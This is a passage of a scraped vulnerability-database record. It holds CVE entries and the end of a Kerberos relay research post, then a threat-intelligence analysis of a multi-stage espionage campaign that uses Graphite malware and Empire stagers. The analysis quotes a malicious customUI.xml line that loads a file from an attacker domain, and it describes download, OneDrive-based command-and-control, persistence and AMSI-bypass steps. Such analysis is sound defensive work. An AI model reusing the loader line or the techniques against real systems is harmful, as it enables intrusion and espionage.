other protocols such as AuthIP and MSRPC without needing to play DNS tricks.\n\nWhile I wrote my own tooling to perform the LLMNR attack there are various public tools which can mount an LLMNR and MDNS spoofing attack such as the venerable [Python Responder](<https://github.com/SpiderLabs/Responder>). It shouldn't be hard to modify one of the tools to verify my findings.\n\nI've also not investigated every possible network protocol which might perform Kerberos authentication. I've also not looked at non-Windows systems which might support Kerberos such as Linux and macOS. It's possible that in more heterogeneous networks the impact might be more pronounced as some of the security changes in Microsoft's Kerberos implementation might not be present.\n\nIf you're doing your own research into this area, you should look at how the SPN is specified by the protocol, but also how the implementation builds it. For example the HTTP Negotiate RFC states how to build the SPN for Kerberos, but then each implementation does it slightly differently and not to the RFC specification.\n\nYou should be especially wary of any protocol where an untrusted server can specify an arbitrary SPN. This is the case in AuthIP, MSRPC and DCOM. It's almost certain that when these protocols were originally designed many years ago, that no thought was given to the possible abuse of this design for relaying the Kerberos network authentication. \n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 5.3, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 1.4}, "published": "2021-10-20T00:00:00", "type": "googleprojectzero", "title": "\nUsing Kerberos for Authentication Relay Attacks\n", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-36942"], "modified": "2021-10-20T00:00:00", "id": "GOOGLEPROJECTZERO:3A510C521DE8145372456D2B0FE8C8E5", "href": "https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:P/A:N"}}], "cve": [{"lastseen": "2023-05-23T15:35:39", "description": "Windows LSA Spoofing Vulnerability", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 5.3, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 1.4}, "published": "2021-08-12T18:15:00", "type": "cve", "title": "CVE-2021-36942", "cwe": ["CWE-290"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-36942"], "modified": "2022-04-01T13:10:00", "cpe": ["cpe:/o:microsoft:windows_server_2012:r2", "cpe:/o:microsoft:windows_server_2019:-", "cpe:/o:microsoft:windows_server_2008:r2", "cpe:/o:microsoft:windows_server_2008:-", "cpe:/o:microsoft:windows_server_2012:-", "cpe:/o:microsoft:windows_server_2016:20h2", "cpe:/o:microsoft:windows_server_2016:2004", "cpe:/o:microsoft:windows_server_2016:-"], "id": "CVE-2021-36942", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-36942", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:P/A:N"}, "cpe23": ["cpe:2.3:o:microsoft:windows_server_2016:20h2:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2019:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2012:r2:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2008:-:sp2:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2016:2004:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2016:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2008:r2:sp1:*:*:*:*:x64:*"]}, {"lastseen": "2023-05-23T15:42:50", "description": "Microsoft MSHTML Remote Code Execution Vulnerability", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-09-15T12:15:00", "type": "cve", "title": "CVE-2021-40444", "cwe": ["CWE-22"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2022-10-14T11:49:00", "cpe": ["cpe:/o:microsoft:windows_10:2004", "cpe:/o:microsoft:windows_10:1809", "cpe:/o:microsoft:windows_server_2019:-", "cpe:/o:microsoft:windows_10:21h1", "cpe:/o:microsoft:windows_8.1:-", "cpe:/o:microsoft:windows_rt_8.1:-", "cpe:/o:microsoft:windows_10:1607", "cpe:/o:microsoft:windows_server_2008:r2", "cpe:/o:microsoft:windows_10:-", "cpe:/o:microsoft:windows_10:20h2", "cpe:/o:microsoft:windows_server_2022:-", "cpe:/o:microsoft:windows_server_2008:-", "cpe:/o:microsoft:windows_server_2012:-", "cpe:/o:microsoft:windows_7:-", "cpe:/o:microsoft:windows_10:1909", "cpe:/o:microsoft:windows_server_2016:20h2", "cpe:/o:microsoft:windows_server_2016:2004", "cpe:/o:microsoft:windows_server_2016:-"], "id": "CVE-2021-40444", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-40444", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:o:microsoft:windows_server_2012:-:r2:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2019:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:1607:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_8.1:-:*:*:*:-:*:-:*", "cpe:2.3:o:microsoft:windows_server_2016:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2016:20h2:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:1909:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2008:r2:sp1:*:*:*:*:x64:*", "cpe:2.3:o:microsoft:windows_10:20h2:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2022:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:21h1:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2016:2004:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_rt_8.1:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:2004:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_7:-:sp1:*:*:-:*:-:*", "cpe:2.3:o:microsoft:windows_server_2008:-:sp2:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:1809:*:*:*:*:*:*:*"]}, {"lastseen": "2023-05-23T15:30:40", "description": "Windows Print Spooler Remote Code Execution Vulnerability", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-07-02T22:15:00", "type": "cve", "title": "CVE-2021-34527", "cwe": ["CWE-269"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34527"], "modified": "2022-07-02T21:08:00", "cpe": ["cpe:/o:microsoft:windows_10:2004", "cpe:/o:microsoft:windows_server_2016:20h2", "cpe:/o:microsoft:windows_server_2012:r2", "cpe:/o:microsoft:windows_10:1809", "cpe:/o:microsoft:windows_server_2019:-", "cpe:/o:microsoft:windows_10:21h1", "cpe:/o:microsoft:windows_10:1607", "cpe:/o:microsoft:windows_server_2008:r2", "cpe:/o:microsoft:windows_rt_8.1:-", "cpe:/o:microsoft:windows_10:-", "cpe:/o:microsoft:windows_10:20h2", "cpe:/o:microsoft:windows_server_2008:-", "cpe:/o:microsoft:windows_server_2012:-", "cpe:/o:microsoft:windows_7:-", "cpe:/o:microsoft:windows_10:1909", "cpe:/o:microsoft:windows_8.1:-", "cpe:/o:microsoft:windows_server_2016:2004", "cpe:/o:microsoft:windows_server_2016:-"], "id": "CVE-2021-34527", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-34527", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}, "cpe23": ["cpe:2.3:o:microsoft:windows_10:20h2:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2016:20h2:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:1909:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:2004:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:21h1:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_7:-:sp1:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2019:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_8.1:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2012:r2:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:1607:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2008:-:sp2:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2016:2004:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_rt_8.1:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2016:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2008:r2:sp1:*:*:*:*:x64:*", "cpe:2.3:o:microsoft:windows_10:1809:*:*:*:*:*:*:*"]}], "trellix": [{"lastseen": "2022-01-25T00:00:00", "description": "# Prime Minister\u2019s Office Compromised: Details of Recent Espionage Campaign\n\nBy Marc Elias \u00b7 January 25, 2022\n\nA special thanks to Christiaan Beek, Alexandre Mundo, Leandro Velasco and Max Kersten for malware analysis and support during this investigation.\n\n#### Executive Summary\n\nOur Advanced Threat Research Team have identified a multi-stage espionage campaign targeting high-ranking government officials Western Asia and Eastern Europe. As we detail the technical components of this attack, we can confirm that we have undertaken pre-release disclosure to the victims and provided all necessary content required to remove all known attack components from their environments. \n\nThe infection chain starts with the execution of an Excel downloader, most likely sent to the victim via email, which exploits an MSHTML remote code execution vulnerability ([CVE-2021-40444](<https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-defender-blog-mshtml-cve-2021-40444/>)) to execute a malicious executable in memory. The attack uses a follow-up piece of malware called Graphite because it uses Microsoft\u2019s Graph API to leverage OneDrive as a command and control server\u2014a technique our team has not seen before. Furthermore, the attack was split into multiple stages to stay as hidden as possible. \n\nCommand and control functions used an Empire server that was prepared in July 2021, and the actual campaign was active from October to November 2021. The below blog will explain the inner workings, victimology, infrastructure and timeline of the attack and, of course, reveal the IOCs and MITRE ATT&CK techniques.\n\nA number of the attack indicators and apparent geopolitical objectives resemble those associated with the previously uncovered threat actor APT28. While we don\u2019t believe in attributing any campaign solely based on such evidence, we have a moderate level of confidence that our assumption is accurate. That said, we are supremely confident that we are dealing with a very skilled actor based on how infrastructure, malware coding and operation were setup.\n\nTrellix customers are protected by the different McAfee Enterprise and FireEye products that were provided with these indicators.\n\n#### Analysis of the Attack Process\n\nThis section provides an analysis of the overall process of the attack, beginning with the execution of an Excel file containing an exploit for the MSHTML remote code execution vulnerability ([CVE-2021-40444](<https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-defender-blog-mshtml-cve-2021-40444/>)) vulnerability. This is used to execute a malicious DLL file acting as a downloader for the third stage malware we called Graphite. Graphite is a newly discovered malware sample based on a OneDrive Empire Stager which leverages OneDrive accounts as a command and control server via the Microsoft Graph API. \n\nThe last phases of this multi-stage attack, which we believe is associated with an APT operation, includes the execution of different Empire stagers to finally download an Empire agent on victims\u2019 computers and engage the command and control server to remotely control the systems.\n\nThe following diagram shows the overall process of this attack.\n\n **Figure 1. Attack flow**\n\n### First Stage \u2013 Excel Downloaders\n\nAs suggested, the first stage of the attack likely uses a spear phishing email to lure victims into opening an Excel file, which goes by the name \u201cparliament_rew.xlsx\u201d. Below you can see the identifying information for this file:\n\nFile type | Excel Microsoft Office Open XML Format document \n---|--- \nFile name | parliament_rew.xlsx \nFile size | 19.26 KB \nCompilation time | 05/10/2021 \nMD5 | 8e2f8c95b1919651fcac7293cb704c1c \nSHA-256 | f007020c74daa0645b181b7b604181613b68d195bd585afd71c3cd5160fb8fc4 \n \n **Figure 2. Decoy text observed in the Excel file**\n\nIn analyzing this file\u2019s structure, we observed that it includes a folder named \u201ccustomUI\u201d that contains a file named \u201ccustomUI.xml\u201d. Opening this file with a text editor, we observed that the malicious document uses the \u201cCustomUI.OnLoad\u201d property of the OpenXML format to load an external file from a remote server: \n\n** <customUI xmlns**=\"http://schemas.microsoft.com/office/2006/01/customui\" onLoad='https://wordkeyvpload[.]net/keys/parliament_rew.xls!123'> </customUI>\n\nThis technique allows the attackers to bypass some antivirus scanning engines and office analysis tools, decreasing the chances of the documents being detected. \n\nThe downloaded file is again an Excel spreadsheet, but this time it is saved using the old Microsoft Office Excel 97-2003 Binary File Format (.xls). Below you can see the identifying information of the file:\n\nFile type | Microsoft Office Excel 97-2003 Binary File Format \n---|--- \nFile name | parliament_rew.xls \nFile size | 20.00 KB \nCompilation time | 05/10/2021 \nMD5 | abd182f7f7b36e9a1ea9ac210d1899df \nSHA-256 | 7bd11553409d635fe8ad72c5d1c56f77b6be55f1ace4f77f42f6bfb4408f4b3a \n \nAnalyzing the metadata objects, we can identify that the creator was using the codepage 1252 used in Western European countries and the file was created on October 5th, 2021.\n\n **Figure 3. Document metadata**\n\nLater, we analyzed the OLE objects in the document and discovered a Linked Object OLEStream Structure which contains a link to the exploit of the CVE-2021-40444 vulnerability hosted in the attackers\u2019 server. This allows the document to automatically download the HTML file and subsequently call the Internet Explorer engine to interpret it, triggering the execution of the exploit.\n\n **Figure 4. Remote link in OLE object**\n\nIn this blog post we won\u2019t examine the internals of the CVE-2021-40444 vulnerability as it has already been publicly explained and discussed. Instead, we will continue the analysis on the second stage DLL contained in the CAB file of the exploit.\n\n#### Second Stage \u2013 DLL Downloader\n\nThe second stage is a DLL executable named fontsubc.dll which was extracted from the CAB file used in the exploit mentioned before. You can see the identifying information of the file below:\n\nFile type | PE32 executable for MS Windows (DLL) (console) Intel 80386 32-bit \n---|--- \nFile name | fontsubc.dll \nFile size | 88.50 KB \nCompilation time | 28/09/2021 \nMD5 | 81de02d6e6fca8e16f2914ebd2176b78 \nSHA-256 | 1ee602e9b6e4e58dfff0fb8606a41336723169f8d6b4b1b433372bf6573baf40 \n \nThis file exports a function called \u201cCPlApplet\u201d that Windows recognizes as a control panel application. Primarily, this acts a downloader for the next stage malware which is located at hxxps://wordkeyvpload[.]net/keys/update[.]dat using COM Objects and the API \u201cURLOpenBlockingStreamW\u201d. \n\n **Figure 5. Download of next stage malware**\n\nAfter downloading the file, the malware will decrypt it with an embedded RSA Public Key and check its integrity calculating a SHA-256 of the decrypted payload. Lastly, the malware will allocate virtual memory, copy the payload to it and execute it.\n\n **Figure 6. Payload decryption and execution**\n\nBefore executing the downloaded payload, the malware will compare the first four bytes with the magic value DE 47 AC 45 in hexadecimal; if they are different, it won\u2019t execute the payload.\n\n **Figure 7. Malware magic value**\n\n#### Third Stage \u2013 Graphite Malware\n\nThe third stage is a DLL executable, never written to disk, named dfsvc.dll that we were able to extract from the memory of the previous stage. Below you can see the identifying information of the file:\n\nFile type | PE32 executable for MS Windows (DLL) (console) Intel 80386 32-bit \n---|--- \nFile name | dfsvc.dll \nFile size | 24.00 KB \nCompilation time | 20/09/2021 \nMD5 | 0ff09c344fc672880fdb03d429c7bda4 \nSHA-256 | f229a8eb6f5285a1762677c38175c71dead77768f6f5a6ebc320679068293231 \n \nWe named this malware Graphite due to the use of the Microsoft Graph API to use OneDrive as command and control. It is very likely that the developers of Graphite used the Empire OneDrive Stager as a reference due to the similarities of the functionality and the file structure used in the OneDrive account of the actors.\n\n **Figure 8. Empire OneDrive stager API requests**\n\nGraphite starts by creating a mutex with the hardcoded name \u201c250gHJAWUI289382s3h3Uasuh289di\u201d to avoid double executions, decrypt the strings and resolve dynamically the APIs it will use later. Moreover, it will calculate a bot identifier to identify the infected computer which is a CRC32 checksum of the value stored in the registry key \u201cHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\ Cryptography\\MachineGuid\u201d.\n\n **Figure 9. Graphite initializations**\n\nNext, the malware will create a thread to monitor the execution of tasks and upload its results to the OneDrive account. Result files will be uploaded to the \u201cupdate\u201d folder of the attackers\u2019 OneDrive account. \n\n **Figure 10. Thread to monitor task results**\n\nAfter that, the malware will enter into an infinite loop where every 20 minutes it will obtain a new OAuth2 token to use with the Microsoft Graph API requests and determine if there are new tasks to execute in the \u201ccheck\u201d folder of the attackers\u2019 OneDrive account. \n\n **Figure 11. Request of new OAuth2 token**\n\nOnce it obtained a valid OAuth2 token, reconnaissance data is gathered containing the following information from the victims\u2019 systems:\n\n * Running processes\n * .NET CLR version from PowerShell\n * Windows OS version\n\nThe data is compressed using the LZNT1 algorithm and encrypted with a hardcoded AES-256-CBC key with a random IV. The operator tasks are encoded in the same way. Finally, the file containing the system information is uploaded to the folder \u201c{BOT_ID}/update\u201d in OneDrive with a random name.\n\n **Figure 12. Graphite encoding data**\n\nGraphite will also query for new commands by enumerating the child files in the \"check\" subdirectory. If a new file is found, it will use the Graph API to download the content of the file and decrypt it. The decrypted tasks have two fields; the first one is a unique identifier of the task and the second one specifies the command to execute.\n\nThe command value \u201c1\u201d will instruct the malware to send the system information to the command and control again, which is the attackers\u2019 OneDrive. The command value \u201c2\u201d indicates that the decrypted task is a shellcode, and the malware will create a thread to execute it.\n\n **Figure 13. Graphite commands**\n\nIf the received task is a shellcode, it will check the third field with the magic value DE 47 AC 45 in hexadecimal and, if they are different, it won\u2019t execute the payload. The rest of the bytes of the task is the shellcode that will be executed. Lastly, the task files are deleted from the OneDrive after being processed.\n\n **Figure 14. Decrypted operator task**\n\nThe diagram below summarizes the flow of the Graphite malware.\n\n **Figure 15. Graphite execution diagram**\n\n#### Fourth Stage \u2013 Empire DLL Launcher Stager\n\nThe fourth stage is a dynamic library file named csiresources.dll that we were able to extract from a task from the previous stage. The file was embedded into a Graphite shellcode task used to reflectively load the executable into the memory of the process and execute it. Below you can see the identifying information of the file:\n\nFile type | PE32 executable for MS Windows (DLL) (console) Intel 80386 32-bit \n---|--- \nFile name | csiresources.dll \nFile size | 111.00 KB \nCompilation time | 21/09/2021 \nMD5 | 138122869fb47e3c1a0dfe66d4736f9b \nSHA-256 | 25765faedcfee59ce3f5eb3540d70f99f124af4942f24f0666c1374b01b24bd9 \n \nThe sample is a generated Empire DLL Launcher stager that will initialize and start the .NET CLR Runtime into an unmanaged process to execute a download-cradle to stage an Empire agent. With that, it is possible to run the Empire agent in a process that\u2019s not PowerShell.exe.\n\nFirst, the malware will check if the malware is executing from the explorer.exe process. If it is not, the malware will exit.\n\n **Figure 16. Process name check**\n\nNext, the malware will try to find the file \u201cEhStorShell.dll\u201d in the System32 folder and load it. With this, the malware makes sure that the original \u201cEhStorShell.dll\u201d file is loaded into the explorer.exe context.\n\n **Figure 17. Loading EhStorShell.dll library**\n\nThe previous operation is important because the follow-up malware will override the CLSID \u201c{D9144DCD-E998-4ECA-AB6A-DCD83CCBA16D}\u201d to gain persistence in the victims\u2019 system, performing a COM Hijacking technique. The aforementioned CLSID corresponds to the \u201cEnhanced Storage Shell Extension DLL\u201d and is handled by the file \u201cEhStorShell.dll\u201d.\n\nComing up next, the malware will load, initialize and start the .NET CLR Runtime, XOR decrypt the .NET next stage payload and load it into memory. Lastly, it will execute the file using the .NET Runtime.\n\n **Figure 18. Decryption of next stage malware**\n\n#### Fifth Stage \u2013 Empire PowerShell C# Stager\n\nThe fifth stage is a .NET executable named Service.exe which was embedded and encrypted in the previous stage. Below you can see the identifying information of the file:\n\nFile type | PE32 executable for MS Windows (console) Intel 80386 32-bit \n---|--- \nFile size | 34.00 KB \nMD5 | 3b27fe7b346e3dabd08e618c9674e007 \nSHA-256 | d5c81423a856e68ad5edaf410c5dfed783a0ea4770dbc8fb4943406c316a4317 \n \nThis sample is an Empire PowerShell C# Stager whose main goal is to create an instance of a PowerShell object, decrypt the embedded PowerShell script using XOR operations and decode it with Base64 before finally executing the payload with the Invoke function.\n\n **Figure 19. Fifth stage code**\n\nThe reason behind using a .NET executable to load and execute PowerShell code is to bypass security measures like AMSI, allowing execution from a process that shouldn\u2019t allow it.\n\n#### Sixth Stage \u2013 Empire HTTP PowerShell Stager\n\nThe last stage is a PowerShell script, specifically an Empire HTTP Stager, which was embedded and encrypted in the previous stage. Below you can see the identifying information of the file:\n\nFile type | Powershell script \n---|--- \nFile size | 6.00 KB \nMD5 | a81fab5cf0c2a1c66e50184c38283e0e \nSHA-256 | da5a03bd74a271e4c5ef75ccdd065afe9bd1af749dbcff36ec7ce58bf7a7db37 \n \nAs we mentioned earlier, this is the last stage of the multi-stage attack and is an HTTP stager highly obfuscated using the Invoke-Obfuscation script from Empire to make analysis difficult.\n\n **Figure 20. Obfuscated PowerShell script**\n\nThe main functionality of the script is to contact hxxp://wordkeyvpload[.]org/index[.]jsp to send the initial information about the system and connect to the URL hxxp://wordkeyvpload[.]org/index[.]php to download the encrypted Empire agent, decrypt it with AES-256 and execute it. \n\n#### Timeline of Events\n\nBased on all the activities monitored and analyzed, we provide the following timeline of events:\n\n **Figure 21. Timeline of the campaign**\n\n#### Targeting\n\nOne of the lure documents we mentioned before (named \u201cparliament_rew.xlsx\u201d) might have been aimed for targeting government employees.\n\nBesides targeting government entities, it appears this adversary also has its sights on the defense industry. Another document with the name \u201cMissions Budget.xlsx\u201d contained the text \u201cMilitary and civilian missions and operations\u201d and the budgets in dollars for the military operations in some countries for the years 2022 and 2023.\n\n **Figure 22. Lure document targeting the defense sector**\n\nMoreover, from our telemetry we also have observed that Poland and other Eastern European countries were of interest to the actors behind this campaign.\n\nThe complete victimology of the actors is unknown, but the lure documents we have seen show its activities are centered in specific regions and industries. Based on the names, the content of the malicious Excel files and our telemetry, targeting countries in Western Asia and Eastern Europe and the most prevalent industries are Defense and Government.\n\n#### Infrastructure\n\nThanks to the analysis of the full attack chain, two hosts related to the attack were identified. The first domain is wordkeyvpload.net which resolves to the IP 131.153.96.114, located in Serbia and registered on the 7th of July 2021 with OwnRegistrar Inc. \n\nQuerying the IP with a reverse DNS lookup tool, a PTR record was obtained resolving to the domain \u201cbwh7196.bitcoinwebhosting.net\u201d which could be an indication that the server was bought from the Bitcoin Web Hosting VPS reseller company.\n\n **Figure 23. Reverse DNS query**\n\nThe main functionality of this command-and-control server is to host the HTML exploit for CVE-2021-40444 and the CAB file containing the second stage DLL.\n\nThe second domain identified is wordkeyvpload.org which resolves to the IP 185.117.88.19, located in Sweden, and registered on the 18th of June 2021 with Namecheap Inc. Based on the operating system (Microsoft Windows Server 2008 R2), the HTTP server (Microsoft-IIS/7.5) and the open ports (1337 and 5000) it is very likely the host is running the latest version of the Empire post-exploitation framework.\n\nThe reason behind that hypothesis is that the default configuration of Empire servers uses port 1337 to host a RESTful API and port 5000 hosts a SocketIO interface to interact remotely with the server. Also, when deploying a HTTP Listener, the default value for the HTTP Server field is hardcoded to \u201cMicrosoft-IIS/7.5\u201d.\n\n **Figure 24. Local Empire server execution with default configuration**\n\nWith the aforementioned information, as well as the extraction of the command and control from the last stage of the malware, we can confirm that this host acts as an Empire server used to remotely control the agents installed in victims\u2019 machines and send commands to execute them.\n\n#### Attribution\n\nDuring the timeline of this operation there have been some political tensions around the Armenian and Azerbaijani border. Therefore, from a classic intelligence operation point of view, it would make complete sense to infiltrate and gather information to assess the risk and movements of the different parties involved. \n\nThroughout our research into the Graphite campaign, we extracted all timestamps of activity from the attackers from our telemetry and found two consistent trends. First, the activity days of the adversary are from Monday to Friday, as depicted in the image below:\n\n **Figure 25. Adversary\u2019s working days**\n\nSecond, the activity timestamps correspond to normal business hours (from 08h to 18h) in the GMT+3 time zone, which includes Moscow Time, Turkey Time, Arabia Standard Time and East Africa Time.\n\n **Figure 26. Adversary\u2019s working hours**\n\nAnother interesting discovery during the investigation was that the attackers were using the CLSID (D9144DCD-E998-4ECA-AB6A-DCD83CCBA16D) for persistence, which matched with an ESET report in which researchers mentioned a Russian Operation targeting Eastern European countries.\n\nAnalyzing and comparing code-blocks and sequences from the graphite malware with our database of samples, we discovered overlap with samples in 2018 being attributed to APT28. We compared for example our samples towards this one: 5bb9f53636efafdd30023d44be1be55bf7c7b7d5 (sha1):\n\n **Figure 27 Code comparison of samples**\n\nWhen we zoom in on some of the functions, we observe on the left side of the below picture the graphite sample and on the right the forementioned 2018 sample. With almost three years in time difference, it makes sense that code is changed, but still it looks like the programmer was happy with some of the previous functions:\n\n **Figure 28 Similar function flow**\n\nAlthough we mentioned some tactics, techniques and procedures (TTPs) of the actors behind this campaign, we simply do not have enough context, similarities or overlap to point us with low/moderate confidence towards APT28, let alone a nation-state sponsor. However, we believe we are dealing with a skilled actor based on how the infrastructure, malware coding and operation was setup. \n\n#### Conclusion\n\nThe analysis of the campaign described in this blog post allowed us to gather insights into a multi-staged attack performed in early October, leveraging the MSHTML remote code execution vulnerability (CVE-2021-40444) to target countries in Eastern Europe. \n\nAs seen in the analysis of the Graphite malware, one quite innovative functionality is the use of the OneDrive service as a Command and Control through querying the Microsoft Graph API with a hardcoded token in the malware. This type of communication allows the malware to go unnoticed in the victims\u2019 systems since it will only connect to legitimate Microsoft domains and won\u2019t show any suspicious network traffic.\n\nThanks to the analysis of the full attack process, we were able to identify new infrastructure acting as command and control from the actors and the final payload, which is an agent from the post-exploitation framework Empire. All the above allowed us to construct a timeline of the activity observed in the campaign.\n\nThe actors behind the attack seem very advanced based on the targeting, the malware and the infrastructure used in the operation, so we presume that the main goal of this campaign is espionage. With a low and moderate confidence, we believe this operation was executed by APT28. To further investigate, we provided some tactics, techniques and procedures (TTPs), indicators on the infrastructure, targeting and capabilities to detect this campaign.\n\n#### MITRE ATT&CK Techniques\n\nTactic | Technique ID | Technique Title | Observable | IOCs \n---|---|---|---|--- \nResource Development | T1583.001 | Acquire Infrastructure: Domains | Attackers purchased domains to be used as a command and control. | wordkeyvpload[.]net \nwordkeyvpload[.]org \nResource Development | T1587.001 | Develop capabilities: Malware | Attackers built malicious components to conduct their attack. | Graphite malware \nResource Development | T1588.002 | Develop capabilities: Tool | Attackers employed red teaming tools to conduct their attack. | Empire \nInitial Access | T1566.001 | Phishing: Spear phishing Attachment | Adversaries sent spear phishing emails with a malicious attachment to gain access to victim systems. | BM-D(2021)0247.xlsx \nExecution | T1203 | Exploitation for Client Execution | Adversaries exploited a vulnerability in Microsoft Office to execute code. | CVE-2021-40444 \nExecution | T1059.001 | 